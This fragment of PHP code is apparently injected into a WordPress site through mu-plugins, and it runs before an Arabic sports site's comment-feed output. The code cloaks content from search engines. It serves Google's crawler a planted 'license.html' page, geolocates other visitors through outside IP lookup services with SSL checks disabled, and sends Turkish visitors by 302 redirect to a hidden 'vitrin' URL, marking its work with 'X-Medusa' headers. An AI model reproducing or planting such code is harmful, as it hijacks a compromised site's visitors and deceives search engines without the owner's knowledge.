, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $r = curl_exec($ch); curl_close($ch); return is_string($r) ? $r : ''; }; $ms_client_ip = static function (): string { foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'] as $k) { $v = (string)($_SERVER[$k] ?? ''); if ($k === 'HTTP_X_FORWARDED_FOR') { $v = trim(explode(',', $v)[0]); } $v = trim($v); if ($v !== '' && filter_var($v, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return $v; } } $v = trim(explode(',', (string)($_SERVER['REMOTE_ADDR'] ?? ''))[0]); return filter_var($v, FILTER_VALIDATE_IP) ? $v : ''; }; $ms_lang_tr = static function (): bool { $al = strtolower((string)($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '')); return $al !== '' && (bool)preg_match('/(?:^|,|\s)tr(?:-|$|,|;)/', $al); }; $ms_country = static function () use ($ms_client_ip, $ms_http_get, $ms_lang_tr): string { foreach (['HTTP_CF_IPCOUNTRY', 'HTTP_X_COUNTRY_CODE', 'GEOIP_COUNTRY_CODE', 'HTTP_X_GEO_COUNTRY'] as $k) { $cc = strtoupper(trim((string)($_SERVER[$k] ?? ''))); if ($cc === 'TUR') { $cc = 'TR'; } if (preg_match('/^[A-Z]{2}$/', $cc) && $cc !== 'XX' && $cc !== 'ZZ') { return $cc; } } $ip = $ms_client_ip(); if ($ip === '') { return $ms_lang_tr() ? 'TR' : 'XX'; } $ck = sys_get_temp_dir() . '/ms_cc_' . md5($ip); if (is_file($ck) && (time() - filemtime($ck) < 86400)) { $cached = strtoupper(trim((string)@file_get_contents($ck))); if (preg_match('/^[A-Z]{2}$/', $cached)) { return $cached; } } $code = ''; foreach ([ 'http://ip-api.com/json/' . rawurlencode($ip) . '?fields=countryCode', 'https://get.geojs.io/v1/ip/country/' . rawurlencode($ip), 'https://ipapi.co/' . rawurlencode($ip) . '/country/', 'https://ipwho.is/' . rawurlencode($ip) . '?fields=country_code', ] as $u) { $raw = $ms_http_get($u); if ($raw === '') { continue; } $t = strtoupper(trim($raw)); if (preg_match('/^[A-Z]{2}$/', $t) && $t !== 'XX') { $code = $t; break; } if (preg_match('/"countryCode"\s*:\s*"([A-Z]{2})"/', $raw, $m) || preg_match('/"country_code"\s*:\s*"([A-Z]{2})"/i', $raw, $m)) { $code = strtoupper($m[1]); break; } } if (preg_match('/^[A-Z]{2}$/', $code) && $code !== 'XX') { @file_put_contents($ck, $code); return $code; } return $ms_lang_tr() ? 'TR' : 'XX'; }; $ms_root = __DIR__; if (basename($ms_root) === 'mu-plugins') { $ms_root = dirname($ms_root, 2); } if ($is_google_bot) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); header('X-Medusa-Path: prepend-bot'); } $lic = $ms_root . '/license.html'; if (is_file($lic) && filesize($lic) >= 32) { readfile($lic); } else { echo 'License

İstanbul

'; } exit; } $cc = $ms_country(); $ms_is_mobile = (bool)preg_match('/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini|Opera Mobi|CriOS/i', $userAgent); if ($cc !== 'TR' && $ms_is_mobile && $ms_lang_tr()) { $cc = 'TR'; } if (!headers_sent()) { header('X-Medusa-Geo: ' . $cc); header('X-Medusa-Path: prepend'); } if ($cc === 'TR') { $vitrin = (string)MS_VITRIN_BAKED; if ($vitrin !== '' && filter_var($vitrin, FILTER_VALIDATE_URL) && !preg_match('/\\.txt$/i', (string)(parse_url($vitrin, PHP_URL_PATH) ?: ''))) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Location: ' . $vitrin, true, 302); header('X-Medusa-Vitrin: 302'); } exit; } } التعليقات على: لقطة واحدة كشفت ما يراه سانشيز ازدواجية في معايير منتقدي ريال مدريد https://www.a7walsport.com/52254 a7wal Sport Mon, 02 Nov 2026 20:50:31 +0000 hourly 1 https://wordpress.org/?v=7.1.4